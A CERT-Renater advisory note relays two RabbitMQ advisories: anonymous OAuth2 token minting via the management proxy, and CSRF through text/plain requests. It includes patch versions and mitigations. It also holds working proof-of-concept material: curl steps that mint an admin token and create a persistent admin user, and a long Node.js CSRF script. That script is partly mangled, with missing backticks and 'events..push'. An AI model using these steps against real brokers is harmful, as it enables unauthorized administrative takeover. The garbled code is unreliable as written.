Ce mail provient de l'extérieur, restons vigilants

=====================================================================


                            CERT-Renater

                Note d'Information No. 2026/VULN1222

_____________________________________________________________________

DATE                : 30/11/2026

HARDWARE PLATFORM(S): /

OPERATING SYSTEM(S): Systems running rabbitmq-server versions prior
                       to 4.4.1, 4.3.8, 4.2.13, 4.1.18, 3.13.22.

====================================================================
https://github.com/rabbitmq/rabbitmq-server/security/advisories/GHSA-cfvg-5q96-8mhm
https://github.com/rabbitmq/rabbitmq-server/security/advisories/GHSA-c22p-g5xq-x5jm
https://github.com/rabbitmq/rabbitmq-server/security
_____________________________________________________________________


Unauthenticated OAuth2 token-endpoint proxy allows anonymous
privileged token minting

This report was submitted with AI assistance
Critical

michaelklishin published GHSA-cfvg-5q96-8mhm

Software
rabbitmq-server

Affected versions
>= 4.4.0, < 4.4.1
>= 4.3.3, < 4.3.8
>= 4.2.9, < 4.2.13

Patched versions
4.4.1
4.3.8
4.2.13


Description

Summary

The management plugin in RabbitMQ 4.4.0 exposes the OAuth2
token-endpoint proxy at
/js/oidc-oauth/token-endpoint/<resource-server-id> without any
caller authentication.

Incriminated source code (tag v4.4.0)

    deps/rabbitmq_management/src/rabbit_mgmt_dispatcher.erl:52-55 —
     the token-endpoint     route is registered without an
     authentication context.
    deps/rabbitmq_management/src/rabbit_mgmt_oauth_token_proxy.erl:88-131 —
    handle_token/forward_token_request read the unauthenticated
    request body and forward it to the provider's token endpoint.
    The module does not implement the is_authorized/3 callback
    that every authenticated management resource implements,
    so it is reachable anonymously.
    Same file, inject_client_secret (lines 125-131 on v4.4.0) —
    the configured management.oauth_client_secret is appended
    to the request body whenever the caller did not supply one.
    All other caller-supplied form parameters (including scope)
    are relayed verbatim.

Effect

On deployments configured per the documented OAuth2 management
setup, the broker acts as a confidential OAuth2 client on
behalf of any anonymous network peer. With a permissive provider
(such as the reference setups in the OAuth2 guide that grant
administrator scopes), an unauthenticated POST with
grant_type=client_credentials (or password) returns a signed
JWT with attacker-chosen scope.

The minted token is accepted by the management API, and also
by the AMQP 0-9-1 listener when placed in the SASL PLAIN
password position
(deps/rabbitmq_auth_backend_oauth2/src/rabbit_auth_backend_oauth2.erl:433-442
reads the token from the password property), because audience
validation only resolves a resource server and is not bound
to the listening plane.


Fix status

Fixed on main by PR #17937 (check_grant_type restricts
relaying to authorization_code/refresh_token); the fix
ships in 4.4.1. Two related observations from my report were
triaged separately by the team (provider responsibility for
fabricated code/refresh-token relays; iss assertion on the
backlog) and are not part of this advisory.


Details

The management plugin in RabbitMQ 4.4.0 exposes the OAuth2
token-endpoint proxy at
/js/oidc-oauth/token-endpoint/<resource-server-id> without
any caller authentication.

Incriminated source code (tag v4.4.0)

    deps/rabbitmq_management/src/rabbit_mgmt_dispatcher.erl:52-55 —
    the token-endpoint route is registered without an
    authentication context.
    deps/rabbitmq_management/src/rabbit_mgmt_oauth_token_proxy.erl:88-131 —
    handle_token/forward_token_request read the
    unauthenticated request body and forward it to the
    provider's token endpoint. The module does not implement
    the is_authorized/3 callback that every authenticated
    management resource implements, so it is reachable
    anonymously.
    Same file, inject_client_secret (lines 125-131 on v4.4.0) —
    the configured management.oauth_client_secret is
    appended to the request body whenever the caller
    did not supply one. All other caller-supplied form
    parameters (including scope) are relayed verbatim.

Effect

On deployments configured per the documented OAuth2
management setup, the broker acts as a confidential OAuth2
client on behalf of any anonymous network peer. With a
permissive provider (such as the reference setups in the
OAuth2 guide that grant administrator scopes), an
unauthenticated POST with grant_type=client_credentials
(or password) returns a signed JWT with attacker-chosen
scope.

The minted token is accepted by the management API, and
also by the AMQP 0-9-1 listener when placed in the SASL
PLAIN password position
(deps/rabbitmq_auth_backend_oauth2/src/rabbit_auth_backend_oauth2.erl:433-442 reads
the token from the password property), because audience
validation only resolves a resource server and is not
bound to the listening plane.


Fix status

Addressed in 4.4.1. Two related
observations from my report were triaged separately by
the team (provider
responsibility for fabricated code/refresh-token relays;
iss assertion on the backlog) and are not part of this
advisory.

Proof of concept

Environment

Tested on the official rabbitmq:4.4.0-management Docker
image (Erlang/OTP 29.1.2).


Prerequisites

RabbitMQ 4.4.0 with the documented OAuth2 management
integration. Minimal rabbitmq.conf shape (values per
your provider):

management.oauth_enabled = true
management.oauth_client_id = my_spa_client
management.oauth_client_secret = <the confidential client secret>
management.oauth_provider_url = https://<idp-host>
management.oauth_resource_servers.1.id = rabbitmq
auth_backends.1 = oauth2
auth_oauth2.resource_servers.1.id = rabbitmq
auth_oauth2.resource_servers.1.oauth_provider_id = default
auth_oauth2.oauth_providers.default.issuer = https://<idp-host>
auth_oauth2.oauth_providers.default.jwks_uri = https://<idp-host>/jwks.json
auth_oauth2.oauth_providers.default.token_endpoint = https://<idp-host>/token

with rabbitmq_management and
rabbitmq_auth_backend_oauth2 enabled, and a provider
that grants the SPA client administrator scopes (as
in the guide's reference examples).

Step 1 — mint a token without any credentials

No Authorization header, no client secret:

curl -s -X POST "http://HOST:15672/js/oidc-oauth/token-endpoint/rabbitmq" \
     -d "grant_type=client_credentials" -d "client_id=my_spa_client"

Response: 200 {"access_token":"eyJ...","token_type":"Bearer",...} — the
provider-side request log shows the broker injected the client secret and the request
originated from the broker.
Step 2 — prove privilege on the management API

curl -s "http://HOST:15672/api/whoami" -H "Authorization: Bearer <token>"

Response: 200 {"name":"...","tags":["administrator"],"is_internal_user":false}
Step 3 — privileged write (persistence)

curl -s -X PUT "http://HOST:15672/api/users/poc" \
     -H "Authorization: Bearer <token>" -H "content-type: application/json" \
     -d '{"password":"Poc12345678!","tags":"administrator"}'

Response: 201 Created.
Step 4 — data plane (cross-listener acceptance)

Present the same JWT in the SASL PLAIN password position
against the AMQP port 
(\x00user\x00<jwt>); the handshake completes and full
queue operations
(declare/publish/consume/purge/delete) succeed on any vhost.

A self-contained black-box Python PoC (standard library
only; HTTP + raw AMQP 0-9-1 frames) was attached to my
original email report and is available on request.


Impact

Authentication bypass (missing authentication for a
critical function, CWE-306) in the management plugin's
OAuth2 token-endpoint proxy.

Impacted deployments: RabbitMQ 4.4.0 instances configured
per the documented OAuth2/SSO integration for the management
UI (oauth2 backend enabled, provider with a resource server,
management.oauth_client_secret set — i.e. the confidential-client
token-proxy setup). No operator misconfiguration is involved;
the affected setup is the documented one.

Impacted parties: any unauthenticated remote attacker with
network access to the management port. Consequences (all
verified in testing):

    attacker-chosen-scope JWT minting through the broker's
own confidential client identity
    full management-plane takeover (administrator actions,
persistent administrator account creation)
    full data-plane takeover on all vhosts via AMQP with
the minted token (read, forge and destroy all messages)

Suggested severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8),
acknowledging the OAuth2-setup precondition; happy for
maintainers to finalize the score.

Remediation: upgrade to 4.4.1 (PR #17937). Interim
mitigations: remove
management.oauth_client_secret, or place authentication
in front of the management port.


Severity
Critical
9.1/ 10

CVSS v4 base metrics
Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
CVE ID
No known CVE
Weaknesses
Weakness CWE-306
Credits

    @shanz0ng shanz0ng Reporter


_____________________________________________________________________


Cross-Site Request Forgery (CSRF) in Management API via text/plain
Interpretation Conflict

This report was submitted with AI assistance
High
michaelklishin published GHSA-c22p-g5xq-x5jm

Software
rabbitmq-server

Affected versions
>= 4.4.0, < 4.4.1
>= 4.3.0, < 4.3.8
>= 4.2.0, < 4.2.13
>= 4.1.0, < 4.1.18
>= 3.13.0, < 3.13.22

Patched versions
4.4.1
4.3.8
4.2.13
4.1.18
3.13.22


Description

Summary

The RabbitMQ Management API is vulnerable to Cross-Site Request Forgery
(CSRF). Because the API authenticates requests using HTTP Basic
authentication without enforcing anti-CSRF tokens, and because
state-mutating endpoints accept requests with a text/plain Content-Type,
an attacker can bypass CORS preflight protections. This allows a
malicious third-party website to execute unauthorized state-changing
actions (such as publishing or consuming messages) on behalf of an
authenticated user.


Details

The Management API relies exclusively on HTTP Basic authentication and
lacks any anti-CSRF token mechanisms. While CORS defenses are strictly
configured to prevent unauthorized cross-origin reading and unauthorized
preflight interactions, they do not block standard HTML
submissions or fetch requests initiated with mode: "no-cors" and simple
headers.

Furthermore, state-mutating routes, such as
POST /api/exchanges/%2F/amq.default/publish, fail to strictly enforce
an application/json Content-Type. Testing on rabbitmq:4-management
(version 4.4.0) demonstrates that the API successfully parses and
processes payloads sent with Content-Type: text/plain or missing
content-type headers entirely. An attacker can craft a cross-site
HTML form where the default = delimiter used by the browser is
embedded harmlessly within a valid JSON string structure, forcing
the broker to execute the request under the victim's cached
credentials.


Proof of concept

Copy the code below inside a file .mjs, and run it following the

#!/usr/bin/env node
// a cross-site form publishes through the management API with cached Basic
// credentials.
//
// Chrome runs headless with a real profile. The setup navigation answers the Basic
// challenge through CDP Fetch.authRequired, which caches the credentials for the
// API origin; the attacker page on another origin then fires two vectors, each at
// its own queue:
//
// fetch(mode:"no-cors", credentials:"include") -> publishes (cached credentials apply)
// -> publishes, and needs no JS
//
// RABBIT_API=http://127.0.0.1:15672 node poc.mjs
//
// Exit 0 = the form vector published (finding reproduced); 2 = it did not.
import { spawn } from "node:child_process";
import { createServer } from "node:http";
import { mkdtempSync } from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";

const API = process.env.RABBIT_API ?? "http://127.0.0.1:15672";
const USER = process.env.RABBIT_USER ?? "csrf";
const PASS = process.env.RABBIT_PASS ?? "csrf-pass";
const CHROME = process.env.CHROME ?? "google-chrome";
const ATTACK_PORT = Number(process.env.POC_ATTACK_PORT ?? 8123);
const DEBUG_PORT = Number(process.env.POC_DEBUG_PORT ?? 9336);
const QUEUES = { fetch: "poc-csrf-fetch", form: "poc-csrf-form" };

const auth = "Basic " + Buffer.from(${USER}:${PASS}).toString("base64");
const publish = ${API}/api/exchanges/%2F/amq.default/publish;

async function api(method, path, body) {
return fetch(API + path, {
method,
headers: {
Authorization: auth,
...(body === undefined ? {} : { "Content-Type": "application/json" }),
},
body: body === undefined ? undefined : JSON.stringify(body),
});
}

for (const queue of Object.values(QUEUES)) {
const response = await api("PUT", /api/queues/%2F/${queue}, {
durable: true,
auto_delete: false,
arguments: {},
});
if (![201, 204].includes(response.status)) {
console.error(cannot create ${queue}: HTTP ${response.status} ${await response.text()});
process.exit(2);
}
}

// One vector per page, or the two would both publish into the same queue and the
// counts would stop meaning anything.
const page = (mode) => {
const queue = mode === "form" ? QUEUES.form : QUEUES.fetch;
const form = mode === "form" ? `
<script>setTimeout(() => document.getElementById("f").submit(), 150);</script>` : ""; const fetchScript = mode === "fetch" ? `<script> window.__probe = {}; const body = JSON.stringify({properties:{}, routing_key:"${queue}", payload:"poc-fetch", payload_encoding:"string"}); fetch("${publish}", {method:"POST", mode:"no-cors", credentials:"include", headers:{"Content-Type":"text/plain"}, body}) .then(r => { window.__probe.fetch = "resolved type=" + r.type; }) .catch(e => { window.__probe.fetch = "rejected " + e.message; }); </script>` : ""; return `<title>poc</title>${form}${fetchScript}`; };

const attacker = createServer((request, response) => {
const mode = new URL(request.url, "http://x").searchParams.get("mode") === "form"
? "form"
: "fetch";
response.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
response.end(page(mode));
});
await new Promise((resolve) => attacker.listen(ATTACK_PORT, "127.0.0.1", resolve));

const profile = mkdtempSync(join(tmpdir(), "poc-csrf-"));
const chrome = spawn(CHROME, [
"--headless=new",
--remote-debugging-port=${DEBUG_PORT},
--user-data-dir=${profile},
"--no-first-run",
"--no-default-browser-check",
"--disable-gpu",
"--no-sandbox",
"about:blank",
], { stdio: "ignore" });

async function versionInfo() {
for (let attempt = 0; attempt < 80; attempt += 1) {
try {
const response = await fetch(http://127.0.0.1:${DEBUG_PORT}/json/version);
if (response.ok) return response.json();
} catch {}
await new Promise((resolve) => setTimeout(resolve, 250));
}
throw new Error("chrome did not expose the debugging port");
}

const info = await versionInfo();
const socket = new WebSocket(info.webSocketDebuggerUrl);
await new Promise((resolve, reject) => {
socket.onopen = resolve;
socket.onerror = reject;
});

let nextId = 1;
const pending = new Map();
const events = [];
socket.onmessage = (event) => {
const message = JSON.parse(event.data);
if (message.id !== undefined) {
const entry = pending.get(message.id);
if (!entry) return;
pending.delete(message.id);
if (message.error) entry.reject(new Error(JSON.stringify(message.error)));
else entry.resolve(message.result);
return;
}
events..push(message);
if (message.method === "Fetch.requestPaused") {
send("Fetch.continueRequest", { requestId: message.params.requestId }, message.sessionId);
} else if (message.method === "Fetch.authRequired") {
const seen = events.filter((entry) => entry.method === "Fetch.authRequired").length;
send("Fetch.continueWithAuth", {
requestId: message.params.requestId,
authChallengeResponse: seen === 1
? { response: "ProvideCredentials", username: USER, password: PASS }
: { response: "CancelAuth" },
}, message.sessionId);
}
};

function send(method, params = {}, sessionId) {
const id = nextId++;
socket.send(JSON.stringify({ id, method, params, ...(sessionId ? { sessionId } : {}) }));
return new Promise((resolve, reject) => pending.set(id, { resolve, reject }));
}

const { targetId } = await send("Target.createTarget", { url: "about:blank" });
const { sessionId } = await send("Target.attachToTarget", { targetId, flatten: true });
await send("Page.enable", {}, sessionId);
await send("Runtime.enable", {}, sessionId);
await send("Fetch.enable", {
patterns: [{ urlPattern: ${API}/*, requestStage: "Request" }],
handleAuthRequests: true,
}, sessionId);

// 1. Cache the credentials with a navigation the browser answers through CDP.
await send("Page.navigate", { url: ${API}/api/overview }, sessionId);
await new Promise((resolve) => setTimeout(resolve, 2500));

const messages = async (queue) => {
const response = await api("GET", /api/queues/%2F/${queue});
const body = await response.json();
return body.messages ?? body.error ?? body;
};

// The management API serves queue lengths from periodic stats: a publish that just
// happened is not visible in messages for a few seconds. Poll instead of reading
// once, or a successful attack would be reported as a failure.
const waitForMessages = async (queue, timeoutMs = 20000) => {
const deadline = Date.now() + timeoutMs;
let value = 0;
do {
value = await messages(queue);
if (typeof value === "number" && value >= 1) return value;
await new Promise((resolve) => setTimeout(resolve, 500));
} while (Date.now() < deadline);
return value;
};

const evaluate = async (expression) => {
const result = await send("Runtime.evaluate",
{ expression, returnByValue: true }, sessionId);
return result.result.value;
};

// 2. Fetch vector.
await send("Page.navigate", { url: http://127.0.0.1:${ATTACK_PORT}/?mode=fetch }, sessionId);
await new Promise((resolve) => setTimeout(resolve, 3000));
const fetchProbe = await evaluate("JSON.stringify(window.__probe || {})");
const fetchMessages = await waitForMessages(QUEUES.fetch);

// 3. Form vector: a top-level POST that replaces the page with the API response.
await send("Page.navigate", { url: http://127.0.0.1:${ATTACK_PORT}/?mode=form }, sessionId);
await new Promise((resolve) => setTimeout(resolve, 3500));
const formResponse = await evaluate("document.body ? document.body.innerText.slice(0, 120) : ''");
const formMessages = await waitForMessages(QUEUES.form);

const challenges = events.filter((entry) => entry.method === "Fetch.authRequired").length;
console.log(JSON.stringify({
chrome: info.Browser,
authChallenges: challenges,
fetch: { probe: fetchProbe, messages: fetchMessages },
form: { response: formResponse, messages: formMessages },
}, null, 2));

socket.close();
chrome.kill("SIGKILL");
await new Promise((resolve) => attacker.close(resolve));
for (const queue of Object.values(QUEUES)) {
await api("DELETE", /api/queues/%2F/${queue});
}

if (formMessages >= 1) {
console.log("\nREPRODUCED: the cross-site form published a message (R-05).");
process.exit(0);
}
console.log("\nNOT REPRODUCED: the form did not publish.");
process.exit(2);


Impact

This vulnerability allows for a blind Cross-Site Request Forgery
(CSRF) attack that yields real-world, unauthorized manipulation
of the broker's state. By exploiting the lack of anti-CSRF
defenses and the interpretation conflict of the text/plain
Content-Type, a malicious third-party website can hijack an
authenticated user's session to execute certain actions,
including administrative actions if the affected user has the
sufficient privileges.


Workarounds
Limit HTTP API and Management UI Acces to HTTPS

Using HTTPS exclusively
for management UI and HTTP API access is arguably the baseline
scenario these days.

Use JWTs Exclusively

Basic HTTP API can be disabled entirely:

management.disable_basic_auth = true

in favor of OAuth 2.
Severity
High
7.6/ 10

CVSS v4 base metrics
Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

CVE ID
No known CVE

Weaknesses
Weakness CWE-352
Weakness CWE-436

Credits

    @Pierpaolo1223 Pierpaolo1223 Reporter


=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================




